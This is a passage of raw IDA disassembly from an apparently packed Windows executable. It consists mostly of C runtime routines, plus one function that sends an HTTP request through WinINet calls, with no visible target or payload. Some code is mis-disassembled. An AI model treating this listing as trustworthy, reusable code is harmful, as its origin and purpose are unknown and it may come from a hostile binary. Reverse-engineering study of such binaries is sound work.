eax lea eax, [ebp+var_8] push eax push offset dword_4423D8 push 200h push [ebp+arg_0] call sub_41C030 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41B598 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B65E proc near ; DATA XREF: .nsp0:00409154o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_44250C call sub_41BC40 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41BC40 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41BC40 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41BC40 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41BC40 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41B890 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4D10EC ; InternetCrackUrlA test eax, eax jz loc_41B7F8 cmp [ebp+var_34], ebx jbe short loc_41B735 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41BCA0 add esp, 0Ch loc_41B735: ; CODE XREF: sub_41B65E+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41B753 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41BCA0 add esp, 0Ch loc_41B753: ; CODE XREF: sub_41B65E+DEj cmp [ebp+var_20], ebx jbe short loc_41B76D push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41BCA0 add esp, 0Ch loc_41B76D: ; CODE XREF: sub_41B65E+F8j cmp [ebp+var_18], ebx jbe short loc_41B787 push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41BCA0 add esp, 0Ch loc_41B787: ; CODE XREF: sub_41B65E+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4D11A0 call dword_4D11C4 ; InternetConnectA mov esi, eax cmp esi, ebx jz short loc_41B810 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4D11B8 ; HttpOpenRequestA cmp eax, ebx mov [ebp+var_4], eax jz short loc_41B817 push ebx push ebx push ebx push ebx push eax call dword_4D1164 ; HttpSendRequestA test eax, eax jz short loc_41B7F1 push offset dword_4424F0 jmp short loc_41B81C ; --------------------------------------------------------------------------- loc_41B7F1: ; CODE XREF: sub_41B65E+18Aj push offset unk_4424B4 jmp short loc_41B81C ; --------------------------------------------------------------------------- loc_41B7F8: ; CODE XREF: sub_41B65E+B7j lea eax, [ebp+var_55C] push offset dword_442498 push eax call sub_41BF36 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41B82A ; --------------------------------------------------------------------------- loc_41B810: ; CODE XREF: sub_41B65E+153j push offset unk_44246C jmp short loc_41B81C ; --------------------------------------------------------------------------- loc_41B817: ; CODE XREF: sub_41B65E+17Bj push offset unk_44243C loc_41B81C: ; CODE XREF: sub_41B65E+191j ; sub_41B65E+198j ... lea eax, [ebp+var_55C] push eax call sub_41BF36 pop ecx pop ecx loc_41B82A: ; CODE XREF: sub_41B65E+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41B855 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_4099D2 add esp, 14h loc_41B855: ; CODE XREF: sub_41B65E+1D2j lea eax, [ebp+var_55C] push eax call sub_4157A6 pop ecx push esi call dword_4D1224 ; InternetCloseHandle push [ebp+var_4] call dword_4D1224 ; InternetCloseHandle push [ebp+var_1D8] call sub_40B32A pop ecx push ebx call near ptr 0B40000h db 26h pop edi pop esi pop ebx sub_41B65E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41B888 proc near ; CODE XREF: sub_40E7D2+185p jmp dword_4271D8 sub_41B888 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B890 proc near ; CODE XREF: sub_401000+34p ; sub_401A09+6Bp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B8B0 loc_41B89C: ; CODE XREF: sub_41B890+19j mov al, [ecx] inc ecx test al, al jz short loc_41B8E3 test ecx, 3 jnz short loc_41B89C add eax, 0 loc_41B8B0: ; CODE XREF: sub_41B890+Aj ; sub_41B890+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B8B0 mov eax, [ecx-4] test al, al jz short loc_41B901 test ah, ah jz short loc_41B8F7 test eax, 0FF0000h jz short loc_41B8ED test eax, 0FF000000h jz short loc_41B8E3 jmp short loc_41B8B0 ; --------------------------------------------------------------------------- loc_41B8E3: ; CODE XREF: sub_41B890+11j ; sub_41B890+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B8ED: ; CODE XREF: sub_41B890+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B8F7: ; CODE XREF: sub_41B890+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B901: ; CODE XREF: sub_41B890+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41B890 endp ; =============== S U B R O U T I N E ======================================= sub_41B90B proc near ; CODE XREF: sub_4010C3+64p ; .nsp0:00407340p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B920 or eax, 0FFFFFFFFh jmp short loc_41B95A ; --------------------------------------------------------------------------- loc_41B920: ; CODE XREF: sub_41B90B+Ej test al, 83h jz short loc_41B958 push esi call sub_41E25B push esi mov edi, eax call sub_41E1F5 push dword ptr [esi+10h] call sub_41E142 add esp, 0Ch test eax, eax jge short loc_41B946 or edi, 0FFFFFFFFh jmp short loc_41B958 ; --------------------------------------------------------------------------- loc_41B946: ; CODE XREF: sub_41B90B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B958 push eax call sub_41B961 and dword ptr [esi+1Ch], 0 pop ecx loc_41B958: ; CODE XREF: sub_41B90B+17j ; sub_41B90B+39j ... mov eax, edi loc_41B95A: ; CODE XREF: sub_41B90B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B90B endp ; =============== S U B R O U T I N E ======================================= sub_41B961 proc near ; CODE XREF: sub_4010C3+5Ep ; sub_40AA8C+B1p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_41B98E push esi call sub_41E3A7 pop ecx test eax, eax push esi jz short loc_41B980 push eax call sub_41E3D2 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41B980: ; CODE XREF: sub_41B961+13j push 0 push dword_4E2B80 call dword_427144 ; RtlFreeHeap loc_41B98E: ; CODE XREF: sub_41B961+7j pop esi retn sub_41B961 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B990 proc near ; CODE XREF: sub_4010C3+45p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B9B4 xor eax, eax jmp loc_41BA5D ; --------------------------------------------------------------------------- loc_41B9B4: ; CODE XREF: sub_41B990+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B9C7 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B9D3 ; --------------------------------------------------------------------------- loc_41B9C7: ; CODE XREF: sub_41B990+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B9D3 ; --------------------------------------------------------------------------- loc_41B9D0: ; CODE XREF: sub_41B990+C4j mov ecx, [ebp+arg_0] loc_41B9D3: ; CODE XREF: sub_41B990+35j ; sub_41B990+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41BA05 mov eax, [esi+4] test eax, eax jz short loc_41BA05 cmp ecx, eax mov edi, ecx jb short loc_41B9EA mov edi, eax loc_41B9EA: ; CODE XREF: sub_41B990+56j push edi push dword ptr [esi] push ebx call near ptr sub_41C9B0 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41BA50 ; --------------------------------------------------------------------------- loc_41BA05: ; CODE XREF: sub_41B990+49j ; sub_41B990+50j cmp ecx, [ebp+arg_C] jb short loc_41BA38 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41BA1B xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41BA1B: ; CODE XREF: sub_41B990+80j push eax push ebx push dword ptr [esi+10h] call sub_41EF81 add esp, 0Ch test eax, eax jz short loc_41BA62 cmp eax, 0FFFFFFFFh jz short loc_41BA68 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41BA50 ; --------------------------------------------------------------------------- loc_41BA38: ; CODE XREF: sub_41B990+78j push esi call sub_41EEA8 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41BA6C mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41BA50: ; CODE XREF: sub_41B990+73j ; sub_41B990+A6j cmp [ebp+arg_0], 0 jnz loc_41B9D0 mov eax, [ebp+arg_8] loc_41BA5D: ; CODE XREF: sub_41B990+1Fj ; sub_41B990+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41BA62: ; CODE XREF: sub_41B990+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41BA6C ; --------------------------------------------------------------------------- loc_41BA68: ; CODE XREF: sub_41B990+9Fj or dword ptr [esi+0Ch], 20h loc_41BA6C: ; CODE XREF: sub_41B990+B2j ; sub_41B990+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41BA5D sub_41B990 endp ; =============== S U B R O U T I N E ======================================= sub_41BA78 proc near ; CODE XREF: sub_4010C3+2Ep ; sub_41D673+35p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push ebp push esi test ebx, ebx push edi jnz short loc_41BA93 push [esp+10h+arg_4] call sub_41BBCB pop ecx jmp loc_41BB93 ; --------------------------------------------------------------------------- loc_41BA93: ; CODE XREF: sub_41BA78+Aj mov esi, [esp+10h+arg_4] test esi, esi jnz short loc_41BAA9 push ebx call sub_41B961 pop ecx loc_41BAA2: ; CODE XREF: sub_41BA78+114j xor eax, eax jmp loc_41BB93 ; --------------------------------------------------------------------------- loc_41BAA9: ; CODE XREF: sub_41BA78+21j ; sub_41BA78+10Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BB74 push ebx call sub_41E3A7 mov ebp, eax pop ecx test ebp, ebp jz loc_41BB51 cmp esi, dword_44255C ja short loc_41BB11 push esi push ebx push ebp call sub_41EBB2 add esp, 0Ch test eax, eax jz short loc_41BAE0 mov edi, ebx jmp short loc_41BB09 ; --------------------------------------------------------------------------- loc_41BAE0: ; CODE XREF: sub_41BA78+62j push esi call sub_41E6FD mov edi, eax pop ecx test edi, edi jz short loc_41BB11 mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41BAF7 mov eax, esi loc_41BAF7: ; CODE XREF: sub_41BA78+7Bj push eax push ebx push edi call near ptr sub_41C9B0 push ebx push ebp call sub_41E3D2 add esp, 14h loc_41BB09: ; CODE XREF: sub_41BA78+66j test edi, edi jnz loc_41BB91 loc_41BB11: ; CODE XREF: sub_41BA78+53j ; sub_41BA78+73j test esi, esi jnz short loc_41BB18 push 1 pop esi loc_41BB18: ; CODE XREF: sub_41BA78+9Bj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4E2B80 call dword_427148 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_41BB74 mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41BB3D mov eax, esi loc_41BB3D: ; CODE XREF: sub_41BA78+C1j push eax push ebx push edi call near ptr sub_41C9B0 push ebx push ebp call sub_41E3D2 add esp, 14h jmp short loc_41BB70 ; --------------------------------------------------------------------------- loc_41BB51: ; CODE XREF: sub_41BA78+47j test esi, esi jnz short loc_41BB58 push 1 pop esi loc_41BB58: ; CODE XREF: sub_41BA78+DBj add esi, 0Fh and esi, 0FFFFFFF0h push esi push ebx push 0 push dword_4E2B80 call dword_42719C ; RtlReAllocateHeap mov edi, eax loc_41BB70: ; CODE XREF: sub_41BA78+D7j test edi, edi jnz short loc_41BB91 loc_41BB74: ; CODE XREF: sub_41BA78+36j ; sub_41BA78+B9j cmp dword_4E1578, 0 jz short loc_41BB91 push esi call sub_41F177 test eax, eax pop ecx jnz loc_41BAA9 jmp loc_41BAA2 ; --------------------------------------------------------------------------- loc_41BB91: ; CODE XREF: sub_41BA78+93j ; sub_41BA78+FAj ... mov eax, edi loc_41BB93: ; CODE XREF: sub_41BA78+16j ; sub_41BA78+2Cj pop edi pop esi pop ebp pop ebx retn sub_41BA78 endp ; =============== S U B R O U T I N E ======================================= sub_41BB98 proc near ; CODE XREF: sub_41BBB8+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F302 test eax, eax jnz short loc_41BBA2 retn ; --------------------------------------------------------------------------- loc_41BBA2: ; CODE XREF: sub_41BB98+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F192 add esp, 10h retn sub_41BB98 endp ; =============== S U B R O U T I N E ======================================= sub_41BBB8 proc near ; CODE XREF: sub_4010C3+18p ; .nsp0:00407314p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41BB98 add esp, 0Ch retn sub_41BBB8 endp ; =============== S U B R O U T I N E ======================================= sub_41BBCB proc near ; CODE XREF: sub_4010C3+6p ; sub_40AA8C+63p ... arg_0 = dword ptr 4 push dword_4E1578 push [esp+4+arg_0] call sub_41BBDD pop ecx pop ecx retn sub_41BBCB endp ; =============== S U B R O U T I N E ======================================= sub_41BBDD proc near ; CODE XREF: sub_41BBCB+Ap ; sub_41D665+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41BC06 loc_41BBE4: ; CODE XREF: sub_41BBDD+27j push [esp+arg_0] call sub_41BC09 test eax, eax pop ecx jnz short locret_41BC08 cmp [esp+arg_4], eax jz short locret_41BC08 push [esp+arg_0] call sub_41F177 test eax, eax pop ecx jnz short loc_41BBE4 loc_41BC06: ; CODE XREF: sub_41BBDD+5j xor eax, eax locret_41BC08: ; CODE XREF: sub_41BBDD+13j ; sub_41BBDD+19j retn sub_41BBDD endp ; =============== S U B R O U T I N E ======================================= sub_41BC09 proc near ; CODE XREF: sub_41BBDD+Bp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, dword_44255C ja short loc_41BC21 push esi call sub_41E6FD test eax, eax pop ecx jnz short loc_41BC3D loc_41BC21: ; CODE XREF: sub_41BC09+Bj test esi, esi jnz short loc_41BC28 push 1 pop esi loc_41BC28: ; CODE XREF: sub_41BC09+1Aj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4E2B80 call dword_427148 ; RtlAllocateHeap loc_41BC3D: ; CODE XREF: sub_41BC09+16j pop esi retn sub_41BC09 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BC40 proc near ; CODE XREF: sub_401135+3Cp ; sub_401135+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41BC93 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41BC87 neg ecx and ecx, 3 jz short loc_41BC69 sub edx, ecx loc_41BC63: ; CODE XREF: sub_41BC40+27j mov [edi], al inc edi dec ecx jnz short loc_41BC63 loc_41BC69: ; CODE XREF: sub_41BC40+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41BC87 rep stosd test edx, edx jz short loc_41BC8D loc_41BC87: ; CODE XREF: sub_41BC40+18j ; sub_41BC40+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41BC87 loc_41BC8D: ; CODE XREF: sub_41BC40+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BC93: ; CODE XREF: sub_41BC40+Aj mov eax, [esp+arg_0] retn sub_41BC40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BCA0 proc near ; CODE XREF: sub_4018A1+98p ; .nsp0:00401BC4p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41BD23 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41BCC4 shr ecx, 2 jnz short loc_41BD31 jmp short loc_41BCE5 ; --------------------------------------------------------------------------- loc_41BCC4: ; CODE XREF: sub_41BCA0+1Bj ; sub_41BCA0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41BCF2 test al, al jz short loc_41BCFA test esi, 3 jnz short loc_41BCC4 mov ebx, ecx shr ecx, 2 jnz short loc_41BD31 loc_41BCE0: ; CODE XREF: sub_41BCA0+8Fj and ebx, 3 jz short loc_41BCF2 loc_41BCE5: ; CODE XREF: sub_41BCA0+22j ; sub_41BCA0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41BD1E dec ebx jnz short loc_41BCE5 loc_41BCF2: ; CODE XREF: sub_41BCA0+2Bj ; sub_41BCA0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41BCFA: ; CODE XREF: sub_41BCA0+2Fj test edi, 3 jz short loc_41BD14 loc_41BD02: ; CODE XREF: sub_41BCA0+72j mov [edi], al inc edi dec ecx jz loc_41BD96 test edi, 3 jnz short loc_41BD02 loc_41BD14: ; CODE XREF: sub_41BCA0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41BD87 loc_41BD1B: ; CODE XREF: sub_41BCA0+7Fj ; sub_41BCA0+F4j mov [edi], al inc edi loc_41BD1E: ; CODE XREF: sub_41BCA0+4Dj dec ebx jnz short loc_41BD1B pop ebx pop esi loc_41BD23: ; CODE XREF: sub_41BCA0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BD29: ; CODE XREF: sub_41BCA0+A9j ; sub_41BCA0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41BCE0 loc_41BD31: ; CODE XREF: sub_41BCA0+20j ; sub_41BCA0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41BD29 test dl, dl jz short loc_41BD7B test dh, dh jz short loc_41BD71 test edx, 0FF0000h jz short loc_41BD67 test edx, 0FF000000h jnz short loc_41BD29 mov [edi], edx jmp short loc_41BD7F ; --------------------------------------------------------------------------- loc_41BD67: ; CODE XREF: sub_41BCA0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41BD7F ; --------------------------------------------------------------------------- loc_41BD71: ; CODE XREF: sub_41BCA0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41BD7F ; --------------------------------------------------------------------------- loc_41BD7B: ; CODE XREF: sub_41BCA0+ADj xor edx, edx mov [edi], edx loc_41BD7F: ; CODE XREF: sub_41BCA0+C5j ; sub_41BCA0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41BD91 loc_41BD87: ; CODE XREF: sub_41BCA0+79j xor eax, eax loc_41BD89: ; CODE XREF: sub_41BCA0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41BD89 loc_41BD91: ; CODE XREF: sub_41BCA0+E5j and ebx, 3 jnz short loc_41BD1B loc_41BD96: ; CODE XREF: sub_41BCA0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41BCA0 endp ; =============== S U B R O U T I N E ======================================= sub_41BD9E proc near ; CODE XREF: sub_41BE29+4p ; sub_42464C+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41BDA6: ; CODE XREF: sub_41BD9E+34j cmp dword_44276C, 1 jle short loc_41BDBE movzx eax, byte ptr [edi] push 8 push eax call sub_41F37A pop ecx pop ecx jmp short loc_41BDCD ; --------------------------------------------------------------------------- loc_41BDBE: ; CODE XREF: sub_41BD9E+Fj movzx eax, byte ptr [edi] mov ecx, off_442560 mov al, [ecx+eax*2] and eax, 8 loc_41BDCD: ; CODE XREF: sub_41BD9E+1Ej test eax, eax jz short loc_41BDD4 inc edi jmp short loc_41BDA6 ; --------------------------------------------------------------------------- loc_41BDD4: ; CODE XREF: sub_41BD9E+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41BDE4 cmp esi, 2Bh jnz short loc_41BDE8 loc_41BDE4: ; CODE XREF: sub_41BD9E+3Fj movzx esi, byte ptr [edi] inc edi loc_41BDE8: ; CODE XREF: sub_41BD9E+44j xor ebx, ebx loc_41BDEA: ; CODE XREF: sub_41BD9E+7Bj cmp dword_44276C, 1 jle short loc_41BDFF push 4 push esi call sub_41F37A pop ecx pop ecx jmp short loc_41BE0A ; --------------------------------------------------------------------------- loc_41BDFF: ; CODE XREF: sub_41BD9E+53j mov eax, off_442560 mov al, [eax+esi*2] and eax, 4 loc_41BE0A: ; CODE XREF: sub_41BD9E+5Fj test eax, eax jz short loc_41BE1B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41BDEA ; --------------------------------------------------------------------------- loc_41BE1B: ; CODE XREF: sub_41BD9E+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41BE24 neg eax loc_41BE24: ; CODE XREF: sub_41BD9E+82j pop edi pop esi pop ebp pop ebx retn sub_41BD9E endp ; =============== S U B R O U T I N E ======================================= sub_41BE29 proc near ; CODE XREF: .nsp0:00402238p ; .nsp0:00402495p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41BD9E pop ecx retn sub_41BE29 endp ; =============== S U B R O U T I N E ======================================= sub_41BE34 proc near mov eax, off_44252C test eax, eax jz short loc_41BE3F call eax ; sub_41CDE8 loc_41BE3F: ; CODE XREF: sub_41BE34+7j push offset dword_429034 push offset dword_429020 call sub_41BF1C push offset dword_42901C push offset dword_429000 call sub_41BF1C add esp, 10h retn sub_41BE34 endp ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41BE83 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41BE72 proc near ; CODE XREF: sub_41E0F9+1Cp ; sub_4223CC+2266p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41BE83 add esp, 0Ch retn sub_41BE72 endp ; =============== S U B R O U T I N E ======================================= sub_41BE83 proc near ; CODE XREF: .nsp0:0041BE69p ; sub_41BE72+8p arg_0 = dword ptr 4 arg_1C = dword ptr 20h arg_24 = dword ptr 28h push edi push 1 pop edi cmp dword_4E1540, edi jnz short near ptr loc_41BE9F+1 push [esp+4+arg_0] call near ptr 0B40000h sub [eax-18h], edx popa inc ecx jb short $+2 loc_41BE9F: ; CODE XREF: sub_41BE83+Aj add [ebx+0C247Ch], eax push ebx mov ebx, [esp-14h+arg_24] mov dword_4E153C, edi mov byte_4E1538, bl jnz short loc_41BEF4 mov eax, dword_4E2B94 test eax, eax jz short loc_41BEE3 mov ecx, dword_4E2B90 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41BEE2 loc_41BECF: ; CODE XREF: sub_41BE83+5Dj mov eax, [esi] test eax, eax jz short loc_41BED7 call eax loc_41BED7: ; CODE XREF: sub_41BE83+50j sub esi, 4 cmp esi, dword_4E2B94 jnb short loc_41BECF loc_41BEE2: ; CODE XREF: sub_41BE83+4Aj pop esi loc_41BEE3: ; CODE XREF: sub_41BE83+3Cj push offset dword_429040 push offset dword_429038 call sub_41BF1C pop ecx pop ecx loc_41BEF4: ; CODE XREF: sub_41BE83+33j push offset dword_42904C push offset dword_429044 call sub_41BF1C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41BF1A push [esp-18h+arg_1C] mov dword_4E1540, edi call dword_427068 ; ExitProcess loc_41BF1A: ; CODE XREF: sub_41BE83+85j pop edi retn sub_41BE83 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41BF1C proc near ; CODE XREF: sub_41BE34+15p ; sub_41BE34+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41BF21: ; CODE XREF: sub_41BF1C+16j cmp esi, [esp+4+arg_4] jnb short loc_41BF34 mov eax, [esi] test eax, eax jz short loc_41BF2F call eax loc_41BF2F: ; CODE XREF: sub_41BF1C+Fj add esi, 4 jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF34: ; CODE XREF: sub_41BF1C+9j pop esi retn sub_41BF1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BF36 proc near ; CODE XREF: sub_401A09+5Bp ; .nsp0:00401EA5p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F504 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41BF76 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41BF83 ; --------------------------------------------------------------------------- loc_41BF76: ; CODE XREF: sub_41BF36+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F3EF pop ecx pop ecx loc_41BF83: ; CODE XREF: sub_41BF36+3Ej mov eax, esi pop esi leave retn sub_41BF36 endp ; =============== S U B R O U T I N E ======================================= sub_41BF88 proc near ; CODE XREF: .nsp0:0040129Ap ; .nsp0:00404CB2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_442510, eax retn sub_41BF88 endp ; =============== S U B R O U T I N E ======================================= sub_41BF92 proc near ; CODE XREF: .nsp0:loc_4028A7p ; .nsp0:00404FCBp ... mov eax, dword_442510 imul eax, 343FDh add eax, 269EC3h mov dword_442510, eax sar eax, 10h and eax, 7FFFh retn sub_41BF92 endp ; =============== S U B R O U T I N E ======================================= sub_41BFB0 proc near ; CODE XREF: .nsp0:00401C00p ; .nsp0:00401DBAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41C02A mov dh, [ecx+1] test dh, dh jz short loc_41C017 loc_41BFC8: ; CODE XREF: sub_41BFB0+52j ; sub_41BFB0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41BFEA test al, al jz short loc_41BFE4 loc_41BFD9: ; CODE XREF: sub_41BFB0+32j mov al, [esi] inc esi loc_41BFDC: ; CODE XREF: sub_41BFB0+3Fj cmp al, dl jz short loc_41BFEA test al, al jnz short loc_41BFD9 loc_41BFE4: ; CODE XREF: sub_41BFB0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41BFEA: 